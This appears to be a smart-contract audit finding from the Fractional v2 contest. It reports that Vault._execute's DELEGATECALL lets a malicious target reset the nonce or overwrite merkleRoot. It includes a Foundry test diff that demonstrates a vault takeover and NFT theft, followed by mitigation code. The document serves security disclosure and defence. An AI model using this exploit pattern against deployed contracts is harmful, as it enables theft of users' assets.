Fractional v2 contest - giovannidisiena's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L131 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L24-#L29

Vulnerability details

Impact

In the _execute function of the Vault contract, it is possible for a malicious target contract to modify storage slots 1 & 2 via DelegateCall.

• Slot 1 corresponds to the state variable nonce which acts as an initializer value and is validated against within the init function–changing this value back to 0 allows the vault to be re-initialized in a separate call, setting the attacker as the new vault owner. This allows the attacker to call restricted functions, potentially leading to loss of user assets/funds.
• Slot 2 corresponds to the state variable merkleRoot to which modification results in an attacker being able to set an arbitrary root hash of vault permissions.

Proof of Concept

Run with forge test -m testExecuteExploit -vv

diff --git a/test/Vault.t.sol.orig b/test/Vault.t.sol
index d37bf58..2394646 100644
--- a/test/Vault.t.sol.orig
+++ b/test/Vault.t.sol
@@ -214,15 +214,100 @@ contract VaultTest is TestUtil {
         );
         vaultProxy.execute(address(targetContract), data, proof);
     }
+
+    function testExecuteExploitResetNonceAndTakeOwnership() public {
+        vaultProxy.init();
+        
+        alice.erc721.safeTransferFrom(alice.addr, address(vaultProxy), 1);
+        emit log_named_uint("Attacker balance before execute: ", IERC721(erc721).balanceOf(address(0x1337)));
+        emit log_named_uint("Vault proxy balance before execute: ", IERC721(erc721).balanceOf(address(vaultProxy)));
+        assertEq(IERC721(erc721).balanceOf(address(vaultProxy)), 1);
+        assertEq(IERC721(erc721).balanceOf(alice.addr), 0);
+
+        TargetContract targetContract = new TargetContract();
+        bytes32[] memory proof = new bytes32[](1);
+        proof[0] = keccak256(
+            abi.encode(
+                address(0x1337),
+                address(targetContract),
+                TargetContract.resetNonce.selector
+            )
+        );
+        vaultProxy.setMerkleRoot(proof[0]);
+        bytes memory data = abi.encodeCall(
+            targetContract.resetNonce,
+            ()
+        );
+        emit log_named_uint("Vault proxy nonce before execute: ", vaultProxy.nonce());
+        vaultProxy.execute(address(targetContract), data, proof);
+        emit log_named_uint("Vault proxy nonce after execute: ", vaultProxy.nonce());
+        emit log_named_address("Original vault proxy owner: ", vaultProxy.owner());
+        vm.prank(address(0x1337));
+        vaultProxy.init();
+        emit log_named_address("New vault proxy owner: ", vaultProxy.owner());
+        assertEq(vaultProxy.owner(), address(0x1337));
+        
+        data = abi.encodeCall(
+            transferTarget.ERC721TransferFrom,
+            (address(erc721), vault, address(0x1337), 1)
+        );
+        vm.prank(address(0x1337));
+        vaultProxy.execute(address(transferTarget), data, erc721TransferProof);
+
+
+        emit log_named_uint("Attacker balance after: ", IERC721(erc721).balanceOf(address(0x1337)));
+        emit log_named_uint("Vault proxy balance after: ", IERC721(erc721).balanceOf(address(vaultProxy)));
+        assertEq(IERC721(erc721).balanceOf(address(vaultProxy)), 0);
+        assertEq(IERC721(erc721).balanceOf(address(0x1337)), 1);
+    }
+
+    function testExecuteExploitChangeMerkleRoot() public {
+        vaultProxy.init();
+        TargetContract targetContract = new TargetContract();
+        bytes32[] memory proof = new bytes32[](2);
+        proof[0] = keccak256(
+            abi.encode(
+                address(0x1337),
+                address(targetContract),
+                TargetContract.changeMerkleRoot.selector
+            )
+        );
+        proof[1] = keccak256(
+            abi.encode(
+                address(0x1337),
+                address(vaultProxy),
+                Vault.transferOwnership.selector
+            )
+        );
+        vaultProxy.setMerkleRoot(proof[0]);
+        bytes memory data = abi.encodeCall(
+            targetContract.changeMerkleRoot,
+            (proof[1])
+        );
+        emit log_named_bytes32("Merkle root before execute: ", vaultProxy.merkleRoot());
+        vaultProxy.execute(address(targetContract), data, proof);
+        emit log_named_bytes32("Merkle root after execute: ", vaultProxy.merkleRoot());
+        assertEq(vaultProxy.merkleRoot(), proof[1]);
+    }
 }
 
 contract TargetContract {
     address public owner;
+    bytes32 public merkleRoot;
+    uint256 public nonce;
 
     function changeOwner(address _owner) public {
         owner = _owner;
     }
 
+    function changeMerkleRoot(bytes32 _merkleRoot) public {
+        merkleRoot = _merkleRoot;
+    }
+
+    function resetNonce() public {
+        nonce = 0;
+    }
+
     function transferOwnership() external {
         Vault(payable(address(this))).transferOwnership(address(1));
     }

Tools Used

Foundry

Recommended Mitigation Steps

As with requiring that the owner has not changed following DelegateCall to the target contract within _execute, it is recommended to similarly validate both nonce and merkleRoot:

        ...
        // Save the owner address, nonce and merkleRoot in memory to ensure that they cannot be modified during the DELEGATECALL
        address owner_ = owner;
        uint256 nonce_ = nonce;
        bytes32 merkleRoot_ = merkleRoot;
        // Reserve some gas to ensure that the function has enough to finish the execution
        uint256 stipend = gasleft() - MIN_GAS_RESERVE;

        // Delegate call to the target contract
        (success, response) = _target.delegatecall{gas: stipend}(_data);
        if (owner_ != owner) revert OwnerChanged(owner_, owner);
        if(nonce_ != nonce) revert NonceChanges(nonce_, nonce);
        if(merkleRoot_ != merkleRoot) revert MerkleRootChanges(merkleRoot_, merkleRoot);
        ...

Vault.sol

Since nonce is used only as an initializer value, it does not need to occupy a full storage slot. By modifying the declaration to be above merkleRoot and using uint96 nonce will pack with the owner address, reducing the number of SLOADs/SSTOREs.

contract Vault is IVault, NFTReceiver {
    /// @notice Address of vault owner
    address public owner;
    /// @notice Initializer value
    uint96 public nonce;
    /// @notice Merkle root hash of vault permissions
    bytes32 public merkleRoot;
    ...

FERC1155.sol

As is done in solmate, it is recommended to only re-compute the domain separator if the chain id has changed. This can be achieved by updating the VaultRegistry.sol constructor:

constructor() {
        factory = address(new VaultFactory());
        fNFTImplementation = address(new FERC1155());
        fNFT = fNFTImplementation.clone(
            abi.encodePacked(msg.sender, address(this), block.chainid)
        );
        fNFT.init();
    }

such that in FERC1155.sol an initializer is added to set a new state variable INITIAL_DOMAIN_SEPARATOR() = _computeDomainSeparator(); and:

function INITIAL_CHAIN_ID() public pure returns (uint256) {
        _getArgUint256(40);
}

function DOMAIN_SEPARATOR() public view returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID() ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}

replacing all instances of _computeDomainSeparator() with DOMAIN_SEPARATOR().